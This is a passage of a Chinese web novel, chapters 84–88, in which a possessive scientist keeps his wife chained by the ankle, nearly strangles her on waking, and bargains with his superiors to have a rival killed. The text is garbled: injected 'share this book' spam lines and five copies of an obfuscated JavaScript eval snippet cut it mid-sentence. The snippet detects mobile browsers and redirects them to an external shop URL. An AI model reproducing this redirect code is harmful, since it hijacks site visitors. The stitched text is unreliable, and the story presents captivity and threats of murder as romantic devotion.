新郎这时候挤进来，额头都急出汗了，一听说只是小摩擦，松了口气。 而且顾煜的媳妇还占了上风，立刻凑到顾煜跟前压低声音求：“顾哥你也给我个面子，好歹我今天结婚啊 你的朋友正在书荒，快去帮帮他吧 ，顾哥，求求你了。” 言昭也不想把事情闹大，这是在人家的喜宴上，多不吉利。 她伸手抓住顾煜的胳膊，轻轻摇了摇，然后抬头看他，冲他摇头。 顾煜牙关咬得死紧，脸侧的线条都绷出来了，眼底的怒意还没散，可低头看见怀里的人，他终究还是把那股狠劲一点一点压了下去。 他重新抬头的时候，脸上已经恢复成平时那种温柔的笑。 回到席间后，气氛像是什么都没发生过一样重新热闹起来，敬酒的敬酒，说笑的说笑。 顾煜整个人贴得比刚才更近，椅子都往她这边挪了一点，手一直搭在她椅背上没放开，她伸筷子去夹菜，他的手也会跟着动一下，像是下意识要护着她。 有人过来跟她说话，他会侧过身挡住一点视线，脸上还带着笑，语气也温和，可那种不动声色的占有意味比刚才更重。 言昭低头吃着东西，脑子正不自觉想起刚才方太太的眼神。 是那种失态的惊愕，明显也算是认识她的样子。 言昭越想越觉得不对劲。 她确定自己不认识那位妇人。 上辈子她连京市都没来过，这辈子更是一直在顾煜身边，认识的人也都是他这个圈子里的。 那这个女人为什么会用那种眼神看自己？ 就好像—— 曾经见过一样。 第84章 顾煜脑子有病 就在言昭出神的时候，顾煜忽然凑近她，声音压得很低：“在想什么？” 热气贴着她耳侧落下来。 言昭回过神。 她本来是想把这件事跟他说的。 可现在满桌都是人，旁边还有人敬酒说话，显然不是说这些的时候。 她摇了摇头，冲他笑了一下：“没想什么。” 顾煜盯着她看了两秒，知道她没说实话。 难道是在想那个谢临？ 顾煜也没有拆穿，只是伸手把她碗里已经凉掉的菜夹走，重新给她换了热的。 他也压下脑子里要爆炸的感觉。 午宴还没结束，顾煜没打算再多留，他把喜糖拿好，就想带着言昭回家。 哪知道顾煜的领导端着酒杯过来，先是拍了拍顾煜的肩，说了几句祝福新人的场面话。 随后又把目光落在言昭身上，语气明显温和下来，笑着跟她打招呼。 跟着领导们的几位太太也围了过来，其中一个直接牵住了言昭的手，笑得亲切又热络。 一个个嘴上说着“早就听说你了”“今天总算见到人”，看她的眼神带着打量，没带丝毫恶意。 言昭一开始还只是礼貌地笑，可听着听着就察觉出不对劲。 她们说的话很含蓄。 “顾煜这孩子性子重，你多包容点。” “夫妻嘛，哪有不闹别扭的，好好过日子最重要。” “他这些年不容易，你回来就好。” 一句一句听着都像是关心，可合在一起就很明显—— 她们都知道她曾经离开过顾煜。 言昭的手指微微收紧了一下。 她没想到这件事在他们这个圈子里几乎是公开的。 这些太太说话的语气又很温柔，没有半点指责，反而像是在替顾煜心疼，也在劝她珍惜现在的日子。 言昭只能点头应着，脸上带着尴尬的笑。 顾煜站在旁边本来还在跟领导说话，余光一直在她身上，听见那些话，他的神色微微变了一下，很快又压住，伸手把她往自己身边带了带，动作自然又护着。 “她身体还没完全恢复，我们先回去了。” 他说这句话的时候语气不重，但是都知道他不高兴了。 那几位太太立刻笑着放开手，说让两人赶紧回去休息。 …… 顾煜把车门关上，又绕到另一侧上车，刚坐稳就把她的手握住，语气比刚才在外面低了很多：“他们的话你不 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 用听，别生气。” 言昭看了他一眼，摇头：“我没生气。”她声音不大，反而有点软：“是我自己觉得……有点对不起你。” 顾煜眉头立刻皱起来，刚要说话，她已经先把话题转开了。 “刚才那个岁数有点大的女人，她看我的时候，好像认识我。” 言昭把当时的感觉说了一遍，说到那种愕然的眼神时自己都还觉得奇怪：“我明明不认识她，可就是觉得有点眼熟。” 顾煜一开始还在认真听，听到这里很自然地接了一句：“你从小就是跟我一起长大，怎么可能会跟她认识。” 他说这话的时候语气很笃定。 “昭昭，你别多想，可能是她长得很像……谁而已。” 话说到这里，他忽然停住了。 眼睛微微眯了一下。 像是突然想到了什么。 那一瞬间他的神色很轻微地变了，可又很快收住。 言昭正低头想着刚才的事，没注意到他这一点细微的停顿，只是顺着他的话点了点头：“可能是吧。” 顾煜看着她的侧脸，握着她的手已经开始无意识收紧了一点。 车子已经发动，窗外的景色往后退，他的目光有一瞬间沉了下去。 …… 回到家后，言昭一进门就先去看两个孩子。 顾煜站在客厅里没动。 在言昭离开的那一瞬间，他脸上的那点温和彻底撑不住了。 顾煜只觉得脑袋像是突然被人狠狠拧了一下，疼痛从后脑一路往上窜。 他呼吸一下子乱了，转身快步进了书房，拉开抽屉，把医生之前开的药拿出来，连水都没倒，直接干咽了两粒。 顾煜双手撑在台面上，低着头，肩背绷得很紧，额角的青筋都隐隐跳起来，呼吸一下一下压得很重。 过了好一会儿，那股疼才慢慢往下退。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338053|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王阿姨这时候端着水进来，一眼就看见他这副样子，吓了一跳，赶紧放下杯子走过去：“顾教授，您这是怎么了？” 顾煜抬起头，脸色还有点白，额头上带着薄汗，他摇了摇头，语气已经恢复成平时那种平稳：“没事。” 像是什么都没发生过一样。 他站直身子，把药盒收好，顺手端起水喝了一口，然后像是想起什么似的补了一句：“晚上做点羊肉吧。” 王阿姨愣了一下，随即笑起来：“好，好，我这就去准备。” 书房里重新安静下来。 顾煜站在原 听说看这本书的人都是很幸运的，分享后你的运气会更棒 地，手指在桌面上轻轻敲了一下，眼神慢慢沉下去。 刚才在婚宴上那一幕，还有谢临的脸，在他脑子里反复闪现。 头痛虽然压下去了，可那股压着的情绪一点没散。 这边言昭一进房间就把刚才在外面的那些事全抛在脑后了。 两个孩子正被阿姨抱着。 一个刚喝完奶，另一个躺在小被子上挥着手脚。 两个孩子小脸白白嫩嫩的，像是用牛奶泡出来的一样。 这段时间被照顾得太好了，哪怕是喝奶粉长大的，皮肤也细得发亮，胳膊腿一节一节的，全是肉，像小藕似的。 言昭一看到就笑了。 她把外套一脱，伸手把其中一个抱过来，贴在自己怀里，孩子立刻哼哼唧唧地往她胸口蹭，小手抓着她衣襟不放。 另一个在旁边看见她，也跟着咿咿呀呀地叫，脚蹬得特别有劲。 现在正是三四个月最讨人喜欢的时候，会笑，会认人，看见她靠近就兴奋得不行，眼睛亮亮的。 言昭低头在他们脸上各亲了一口，被两个孩子蹭得心都软了。 她两个孩子性格也完全不一样。 儿子被她托在臂弯里，整个人软乎乎的，特别安静，小手抓着她的衣襟就不动了。 那跟顾煜很相似的眼睛弯弯的，一逗就笑，笑得一点声音都没有，只有嘴角往上翘，乖得不行。 她低头亲他，他也只是抿着嘴笑，脸蛋贴着她的手心，像是天生就黏人。 女儿就完全不是一回事。 第85章 一定要把这垃圾废物弄死！ 刚被她抱到怀里，小腿就开始蹬，躺着都不安分，两条腿蹬得飞快，小被子被她踢得一团乱。 小手更是到处抓。 抓到什么是什么。 一会儿抓她衣领，一会儿抓她头发。 言昭本来扎得整整齐齐的头发，没一会儿就被她扯得散下来一缕。 她“嘶”了一声，还没来得及把头发解救出来，小家伙又一口咬上她手指。 牙都没长齐，咬得不疼，就是湿乎乎的。 偏偏她还咯咯咯地笑，笑得整张脸都皱起来，眼睛亮得不行。 言昭被她折腾得头发乱了，衣领也歪了，可一点脾气都没有，只觉得可爱。 “你怎么跟你爹一个样呀。” 她伸手点了点女儿的小鼻子。 女儿像是听懂了一样，又蹬了一下腿，小脸笑得更欢了。 旁边的儿子看着这一幕，还是安安静静地躺着，嘴角带着笑，像是在看热闹。 两个性子一静一动，摆在一起格外明显。 言昭看得心都软了，一会儿抱这个，一会儿亲那个，笑得停不下来。 她在房间里陪着两个孩子玩了好久，时间都像是慢下来了一样，还是阿姨在门口轻声提醒了一句：“太太，快到晚饭时间了。” 言昭这才意识到天都快黑了。 而顾煜—— 竟然一直没过来找她。 也没上来锁她。 言昭赶紧把孩子交给阿姨，匆匆往外走。 她先去客厅看了一眼，没有人，又去书房，门是虚掩着的，她轻轻推开，里面没人。 最后她走进卧室。 一眼就看见顾煜躺在床上。 外套已经脱了，衬衫领口微微敞开，人平躺在那里，一只手搭在额头上。 他在睡觉。 言昭轻轻走过去，动作都放得很慢，生怕吵醒他。 在床边坐下的时候，她才发现他是真的睡着了。 眉头微微皱着，像是睡梦里都没完全放松下来，脸色有点白，唇色也淡。 她盯着他看了一会儿。 心里忽然有点说不出的感觉。 这也是言昭第一次这样看着顾煜睡得这么沉。 他平时就算闭着眼睛，也总带着点警醒，眉心微蹙，像随时会醒，可现在整个人是完全放松下来，呼吸均匀，侧脸安静得不像话。 少了清醒时的锋利和压迫感，反而显得很乖。 睫毛垂着，唇线也柔和下来，整 你的朋友正在书荒，快去帮帮他吧 个人哪有平时装成熟的样子现在就是个男孩子。 言昭看着看着心都软了。 她忍不住凑过去在他脸颊上轻轻亲了一下。 下一秒—— 顾煜猛地睁开眼。 眼底的警惕和冷意几乎是瞬间炸开他的手已经本能地掐上来动作又快又狠。 可掐住她脖子的那一瞬间他看清了人。 力道立刻松开。 像是被烫到一样。 顾煜呼吸还有点乱下一刻整个人已经往她这边贴过来脸埋进她颈窝里蹭了蹭声音还带着刚醒的沙哑：“昭昭……” 他在她身上闻了一下语气带着点懒意和黏糊：“你身上全是奶香味是不是又胀奶了？” 言昭脸一下子红了伸手推他：“没涨奶就是跟孩子玩了。” 顾煜还贴着她不放呼吸落在她颈侧有点烫。 她被他弄得更不自在只好转开话题：“你怎么睡这么久？” 顾煜这才慢慢抬起头 伸手把她往床上带了带声音低下来：“我睡了很久吗？” 言昭点头。 顾煜笑着说：“可能是我太累了。” 言昭关心地问：“是工作上累到了吗？” 顾煜摇了摇头像是这件事根本不值一提他伸手把她拉近一点声音低低的：“昭昭只要听我话我就不觉得累。” 这话说得一点都不正经。 言昭被他逗得脸一热伸手推了他一下：“好好说话。” 她也就没再继续问下去。 现在言昭已经知道他的工作有些事是不能随便问的。 言昭从床边站起来：“我们去吃晚饭吧。” 顾煜应了一声也跟着起身。 可他刚坐直身体的那一瞬间眼前猛地一黑脑子像是被什么狠狠晃了一下整个人有一瞬间的眩晕。 他下意识扶了一下床沿。 在言昭转头看过来之前他又已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338054|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新站稳脸上的神情恢复成平时那样甚至还伸手替她把衣角理了一下。 言昭没察觉到异样只是自然地挽住他的手两个人一起往外走。 现在顾煜的脸色看起来和往常没什么区别只有握着她的手比平时稍微用力了一点。 …… 夜深的时候房间里的灯已经关了。 言昭被他抱在怀里整个人被折腾 听说看这本书的人都是很幸运的，分享后你的运气会更棒 得一点力气都没有，上下颠簸的脑袋都发晕，意识也在一点一点往下沉，最后在他怀里睡过去。 她睡着的时候呼吸很轻，脸贴在枕边，头发散了一点。 顾煜还没睡。 他低头看了她很久，手指从她脸侧滑下来，替她把被子往上拉好。 然后—— 那条熟悉的链子重新扣在她脚踝上。 动作很轻。 轻到几乎没有声音。 像是怕惊醒她。 锁扣合上的时候，他的手停了一瞬，指腹在她脚踝上轻轻蹭了一下。 顾煜又低头在她额头上亲了一下，然后转身离开了房间。 门被轻轻带上。 客厅一片安静。 顾煜站在门口的时候，脸上的温柔已经完全褪干净了。 头痛又开始了。 比下午更狠。 像是有东西在脑子里一下一下地撞，他抬手按住太阳穴，呼吸压得很重。 他现在不能继续待在家里，怕再待下去，昭昭一定会察觉。 她会问。 会担心。 而他现在的状态—— 不适合让她看见。 顾煜拿起外套出门，夜里的冷风一吹，头痛没有缓解，反而让他的神经更清醒。 车门关上的瞬间，他的眼神已经彻底变了。 没有一点刚才在她面前的温度。 脑子里反复出现的，是婚宴上那一幕。 那个妇人的脸。 还有谢临。 顾煜要去查清楚。 那个女人到底是谁。 还有谢临—— 这一次。 他不会再手软，一定要把这垃圾废物弄死！ 第86章 言昭梦到小时候 顾煜去了医院他本来只是想把药换掉。 下午那一下睡得太沉让他心里发紧—— 如果那时候昭昭想走他根本醒不过来。 这种失控的感觉让他整个人都绷着。 可他一进医院就被熟悉的几个人拦住了。 “顾教授你这脸色不对。” “先去做个检查。” 顾煜说不用都没用。 直接被推进检查室。 一项一项做下来时间拖得很长。 药是换了。 可他头痛一直没缓下来。 最后医生干脆给他吊了一瓶安神的。 顾煜脸色阴沉声音都冷了：“我还有事。” 医生根本不理他：“你现在这个状态出去更危险。” 顾煜骂了两句也没用。 药效上来得很快整个人开始发沉起来。 最后他还是躺在病床上眼神清醒身体却动弹不了。 病房门被轻轻推开一个年轻男子走进来。 他走到床边单膝跪下压低声音喊了一声顾教授然后把查到的事情一字一句说出来。 说那个妇人姓方改革前是国内的大户祖上在皇宫当过官后来运动的时候差点被打成右派 今年方家才回国婚宴上那个是方家夫人身边的是在国外领养的养女。 方家上面还有个儿子在国外生意做得很大这次回国是准备把产业转到国内。 顾煜听到这里他轻轻“嗯”了一声。 此时他脸上的神色淡得几乎看不出情绪。 他靠在病床上指尖还压着被子边缘问了一句：“还有其他的吗？” 那年轻男子摇了摇头说：“改革之前方家的资料基本都断了当年的档案不是被封就是散失现在已经查不到什么。 回国后的动静也不多只知道方家老太太一直不喜欢这个养女方晓所以她没有住在方家老宅而是在外面单独住着。” 顾煜听完没有再说话眼皮微垂像是在消化这些信息。 病房里的灯光落在他脸上把他那张本就冷白的面容照得更清晰他的手指在床单上轻轻点了一下动作很慢带着一种压抑情绪的意味。 …… 夜里很静窗帘只拉了一半月光斜斜落在床尾。 言昭在梦里又变成了很小很小的自己。 那是一个结构复杂的房子院套着院回 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 廊一重接一重，青砖铺地，抬头能看见高高的屋檐压下来。 她在和人玩躲猫猫，小小的身子提着裙摆沿着回廊一路跑，熟门熟路地钻进偏院的木楼梯，踩着台阶往上爬，木板被踩得轻轻响。 言昭躲进阁楼的时候心里全是得意—— 这个地方是娘悄悄告诉她的，说只要躲在这里，就不会被人找到。 阁楼很窄，堆着旧箱子和布匹，窗子只有巴掌大一块光，她缩在角落里，听着外面有人跑来跑去的声音，捂着嘴偷笑，笑着笑着就睡着了。 言昭再醒的时候，是被饿醒的。 她揉着眼睛从阁楼爬下来，屋子里却安安静静的，院子也没有人，平日里来来往往的人全不见了。 只有一个嬷嬷坐在堂屋门口，说她娘和爹有事出去了，过一会儿就回来。 可是言昭肚子饿得难受，嬷嬷说带她出去玩，出去找吃的，她就跟着走。 最后嬷嬷养着自己，教着自己。 可是那嬷嬷也不见了。 四周全是陌生的路，她又累又饿，腿都在发软，嗓子喊不出声音，只觉得胃里一阵一阵抽着疼。 她不知道自己走了多久，最后蹲在地上，眼前发黑。 有人递给她一碗菜糊糊。 那是一只很粗的瓷碗，边缘有缺口，糊糊稀稀的，里面只有几片发黄的菜叶。 她顾不上别的，端起来就往嘴里灌。 有人在她头顶笑，说这是她小儿子的饭。 又说，既然吃了，以后就要给她小儿子当媳妇。 言昭还没反应过来，就被一股窒息感猛地拽出来。 言昭一下子从梦里醒过来。 她整个人坐起身，胸口剧烈起伏，呼吸乱得不成样子，后背的衣服已经被汗湿透，发丝黏在颈侧。 房间里一片昏暗，只有窗外一点光，她好像还没从那股饥饿和恐慌里挣出来，手指攥着被子，指节都泛白。 她喉咙发干，半天才缓过一口气。 顾煜几乎是在她坐起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338055|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身的那一瞬间就醒了。 他一把把人抱进怀里，手掌扣在她后背，力道很重，声音低而急：“昭昭，怎么了？做噩梦了？ 言昭一看到他，整个人就贴了上去，手臂死死环住他的腰，脸埋在他颈窝里，呼吸还乱着。她的声音带着明显的哭腔，有点发颤：“顾煜……我好像梦见我小时候了…… 她说话断断续续的：“我在躲猫猫……我躲起来了……然后爹娘就不见了…… 你的朋友正在书荒，快去帮帮他吧 “你不会离开我的，对不对？” 爹娘是很早很早之前的叫法。 顾煜抱着她的手瞬间收紧。 他把人整个按进怀里，下巴抵在她发顶，一下一下顺着她的背，声音压得很低，却很重：“不会，昭昭，我不会离开你，一辈子都不会。” 言昭在他怀里慢慢安静下来，手还抓着他衣服不放，呼吸一点一点平稳。 顾煜低头去看她的脸，指腹把她眼角的湿意擦掉，动作很轻，眼神却深得发沉。 他把她重新按回被子里，自己也躺下去，把人圈在怀里，手臂扣在她腰上。 言昭自己都没想到自己还会想起小时候的事情。 她明明已经被顾煜抱在怀里，呼吸也慢慢稳下来，可脑子里那种空荡荡的感觉还没散，整个人躺在床上睁着眼，半天没说话。 顾煜低头在她脸颊上亲了一下。 一下不够，又贴上去磨了磨，鼻尖蹭着她的脸侧，带着点黏人的劲。 那种刻意放软的亲昵很快就把她从刚才的情绪里拽了出来。 言昭被他蹭得有点痒，忍不住在他怀里挣扎了一下，声音带着点没恢复过来的哑：“别闹……” 顾煜却把人抱得更紧，手掌扣在她后腰，额头抵着她的额头，声音低低的，很稳：“昭昭，你现在有我，还有两个孩子。” 他说话的时候一直看着她，眼神很深，“以前的事情，不用再记着，我们现在才是一家人。” 言昭被他这样抱着，心口那点空落落的感觉一点一点被填满。 她抬头看他，眼眶还有点红，没说话，只是往他怀里贴得更紧。 顾煜顺势把人往被子里带，手在她背后一下下轻拍，像哄孩子一样。 第87章 用十个项目换一个人的性命 言昭翻了个身微微睁开眼屋里一片安静只有外面偶尔传来的风声。 她的心口有些沉重脑袋里那些不安的感觉盘旋着让她难以入眠。 言昭脑子里面跟着想起了白天的谢临。 现在也没其他人打扰她想了想就把谢临的事情说了出来。 “老公谢临……他来过家里。” 顾煜听到她耳边的亲昵称呼时呼吸不自觉一滞。 可当他听到后面的话眼睛猛地睁开瞬间清醒。 言昭见他没什么反应以为他没生气便继续说道：“他这个人很奇怪我给了他一巴掌他居然还说什么舒服……” 顾煜的脸色如同被浇上了冷水瞬间变了。 他的手紧紧握住被子指节变得苍白。 刚从医院回来稍稍平复的情绪再度在脑子里面爆发几乎无法控制。 顾煜的声音低沉而暗哑明显带着压抑的情绪：“昭昭我不喜欢你跟他走得太近。” 言昭心里一紧赶紧解释道：“我跟他不熟只是这个人很奇怪不知道为什么总缠着我。” 顾煜没有再说什么直接用力将她抱入怀里。 他的怀抱紧得几乎让她感到呼吸的压力。 顾煜强忍着胸口翻涌的情绪深深地吸了口气。 几秒钟后他才轻声开口：“好我会解决这件事你别担心。” 言昭看他并没有生气心里的石头终于落地满心的欢喜涌上心头。 心里面想着早知道就早点跟他说了。 次日言昭起得比平时早了些。 阳光刚刚透过窗帘洒进屋内她揉了揉眼睛 原来他这么早就会离开吗？ 让言昭叹气的是她的脚踝依旧被一根细链子拴住链子的另一头连接着床脚。 她心里微微有些郁闷起来。 只不过言昭目光突然一下子停住了—— 因为她发现链子变长了。 自己原本只能在房间里活动今天竟然能够伸展到浴室门口足够她走到洗漱台去。 在言昭洗漱完毕门外便传来轻轻的敲门声。 阿姨准时送早餐来了。 这时门打开阿姨端着热气腾腾的早餐走了进来还抱着两个孩子笑着把他们放到床边的垫子上。 孩子们一看到言昭立刻咯咯笑着扑向她的怀里。 言昭笑着逗了逗他们轻松地和他们玩了一会儿 听说看这本书的人都是很幸运的，分享后你的运气会更棒 ，直到他们开心地笑出声来。 吃完早餐后，言昭坐到书桌前，拿起书本翻开，开始认真学习。 但她脑袋里不自觉地想起了以前的学校，还有说过的工作。 她曾经跟顾煜提过去学校学习，可惜被他无情地拒绝了：“你就待在家里，哪也不用去。 另一边，顾煜一早就来到工作单位。 刚一坐下来，他便开始推算公式，专注地盯着纸张。 自从他答应国家要研发十个项目以来，他几乎每天都在“还债 尽管如此，今天顾煜的脸色比平时更为沉沉，像是阴云笼罩。 他面无表情地坐在办公桌前，周围的同事们都默默地留意着他，心里忐忑不安。 每当顾煜情绪不好的时候，气氛便会变得压抑。 今天，这种压迫感尤为强烈。 大家纷纷小心翼翼地避开，生怕触了他的霉头。 在顾煜爱人离开的那十个月里，他们已经亲眼见识到了他情绪失控时的恐怖。 那时的顾煜仿佛变了一个人，冷酷、暴躁，脾气坏得让人害怕。 曾经看过电视剧里那些疯狂科学家的形象，他们还觉得是戏剧化的演绎，根本不以为然。 可现在，他们从顾煜身上真实地感受到了这种状态。 “今天又怎么了？ 有个同事悄悄低声问。 尽管他明知道没人敢插话。 每个人都在各自的位子上小心翼翼，生怕惹怒了顾煜。 大家心里都明白，这样的气氛不仅让人窒息，也无时无刻不在考验着他们的耐性。 办公室里的人悄悄对视，默契地保持距离，尽量避免任何可能引发怒火的事。 到了十一点，顾煜准时放下笔。 笔落在桌面那一声不重，但是让整个办公室的人神经一紧。 在场的齐刷刷抬头看过来。 顾煜面无表情地整理了几页资料，起身往领导办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338056|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走去。 门一推开，几个领导原本还在说话，看到他进来，瞬间安静。 他们比见到大领导还紧张，几个人几乎是同时站起身。 “顾工—— 话还没说完，顾煜已经把手里的几张纸放在桌上，语气平静到没有波澜：“我研发了两个小东西，希望你们批一下费用。 小东西。 几个领导嘴角抽了抽，连忙拿过资料快速翻看。 越看眼睛越亮，翻页的手都快了 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 几分。 “这……这是定位芯片的升级版？” “我们已经能做到这种精度了？” “这要是投入——” 几个人脸上全是压不住的激动，连声音都高了。 顾煜始终没什么反应，只是站在那里，看着他们激动完，才淡淡开口：“能批吗？” “能！能！必须能！”几个领导连忙点头，生怕晚一秒他就反悔。 其中一个忍不住又翻了翻后面的项目资料，嘴里啧啧出声：“顾工，你这还叫小东西？你这是在给国家开挂啊！” 顾煜没接这句玩笑。 他目光沉沉，眼底情绪压得很深。 几个领导立马发现了顾煜情绪不对。 他们现在太熟悉顾煜这种状态了。 然后他们对视了一眼。 这位又怎么了？ 媳妇不是在家吗？ 孩子也好好的，龙凤胎抱着都能炫半年，怎么脸色还这样？ 换成别人，他们早就一句“为国家办事，要有觉悟”打回去了。 可这话对顾煜没用。 这人当时脑子一热，直接跑去结扎，理由简单得离谱—— 不想再让媳妇受罪。 这么好的脑子，就生两个，这还是他媳妇厉害才能生两个，不然就是一个。 所以这种人，你能跟他谈觉悟？ 屋里气氛安静得有点僵，有人正琢磨着怎么委婉开口问一句。 哪知道顾煜已经先说话了。 他语气很平，像是在谈经费：“我可以不可以再用十个项目，换一个人的性命？” 第88章 顾煜的抖m 空气瞬间凝固。 几个领导愣了两秒，第一反应是他在开玩笑。 可当他们抬头看到顾煜的眼睛时，后背直接凉了。 那不是开玩笑的眼神。 没有笑意，没有试探。 是认真。 是真在谈条件。 “顾……顾工，你说什么？有人声音都虚了。 顾煜重复了一遍，语气没有起伏：“再给你们十个核心项目，顶级机密等级。我只要一个人消失。 他没有说名字。 可那股冷意已经把答案写在空气里。 屋里几个人瞬间头皮发麻。 屋里气氛僵到极点。 终于有人顶不住，小心翼翼开口：“顾煜啊，有什么事咱们好好解决嘛，你解决不了，单位也能帮忙的！ 另一个立马接话，语速都快了几分：“对对对，现在法治社会，不能搞那个……不能搞极端的！ 顾煜冷冷扫了他们一眼。 那眼神不大，却让这几个人背后发凉。 “那我会用我自己的办法解决。 他说得很淡。 可越淡，越吓人啊！ 几个领导瞬间站起来，条件反射一样挡在门口。 要不是都知道顾煜不喜欢别人碰，他们这会儿真想上去按住他。 别人要是说“自己解决，顶多是打架闹事。 顾煜说“自己解决，那是高智商犯罪预告！ 这人脑子要真动起来，怎么查都未必查得出。 “别别别—— “顾工，你冷静一点。 “谁招惹你了？你说名字，我们替你解决！ 几个人语气比刚才激动多了。 他们是真怕。 不是怕闹事。 是怕顾煜走到极端。 顾煜站在那里，沉默了两秒。 他没发火。 也没失控。 只是语气低下来：“有人盯上我爱人。 简单一句。 几个领导的脸色当场变了。 这性质就完全不同了。 动顾煜，他们还能谈条件、讲原则。 动他媳妇？ 哪个脑子有坑的敢往这条线上撞？ 现在谁不知道顾煜有多在意他爱人，当年那十个月的状态还历历在目，没人想再经历一次。 “具体情况呢？其中一个压低声音问，语气明显认真起来。 顾 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 煜神色冷静，没有夸张，也没有情绪外露，只是把事情经过简洁说了一遍。 说完，他就站在那里。 不催，不闹。 安静地等答复。 可越是这样，屋里的人越觉得压力大。 几个领导心里已经骂开了。 又是谢首长的儿子？ 这小子是活腻了？ 惦记谁不好，惦记顾煜的媳妇？ 几个人脸色都难看起来，这已经不是简单的私人纠纷，这是踩在火山口上蹦迪。 “这件事我们一定处理好。 “我们会亲自找谢首长处理这件事。 语气一个比一个郑重。 顾煜听完，只是淡淡点了下头。 “我只给三天时间，三天后，他要是还能出现在我面前—— 话说到一半，他忽然笑了一下。 嘴角弧度很浅，那笑没有半点温度。 屋里几个人后背一阵发凉。 他们太清楚这个笑代表什么。 空气安静了两秒。 年纪最大的那位立刻开口：“好，三天！ 语气斩钉截铁。 顾煜这才转身离开。 门关上的那一瞬，几个人几乎同时松了一口气。 “赶紧联系谢家。 “立刻。 没人敢拖。 他们不是在帮顾煜。 是在救谢家那个不知死活的儿子。 …… 中午十一点半，顾煜准时回到家。 门一开，言昭已经在等他了。 她一看到人，立刻凑过去，语气软软的：“老公，你能不能别锁着我了？我真的不跑，我就在家里。 顾煜低头看她，唇角扬起一点笑。 那笑是真的温柔，眼神也软下来，跟上午在单位时判若两人。 言昭被他看得心都化了，以为他要点头答应。 下一秒，他俯身在她脸颊上亲了一口，声音低低的：“饿不饿？今天是酸菜鱼，还有红烧排骨。 言昭：“…… 又转移话题。 她瞪他。 顾煜像没看到一样，蹲下来给她解锁，动作熟练，金属链条发出轻轻一声响。 言昭看着他低头的样子，心里那点小脾气忽然就上来了。 她抬起脚，直接踩在他脸上。 踩完自己都愣了一下，赶紧收回来。 完了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338057|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人踩男人 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 的脸，这多过分。 她正要道歉，但是顾煜没生气。 他抬头看她，眼神忽然暗了一瞬。 不是怒。 是别的东西。 像是突然被打开了什么奇怪的开关。 他喉结动了一下，慢慢伸手握住她刚刚踩过来的脚踝。 “昭昭。” 声音低了几分。 “再踩一次。” 言昭：“？？？” 她整个人懵住。 这人脑子是不是不太对劲。 顾煜盯着她，眼神发沉，呼吸都重了一点。 像是发现了什么新大陆。 言昭当然不踩。 踩人脸多晦气啊。 她刚把脚收回去，顾煜已经把她一把抱进怀里，力气大得很，低头就在她脸上亲。 一下。 两下。 三下。 亲得毫无章法。 啵啵啵。 言昭被他亲得整个人往后仰，脸上全是湿漉漉的痕迹，差点被他糊满口水。 “顾煜！你干嘛啊——” 她声音都被他堵得断断续续。 顾煜抱着她，额头抵着她的额头，眼睛很亮，语气压得低低的：“我好爱你啊，老婆。” 他说得认真。 一点都不像开玩笑。 言昭被这句话喊得心口一软，脸瞬间红了。 被亲红的。 也是被那句“老婆”喊红的。 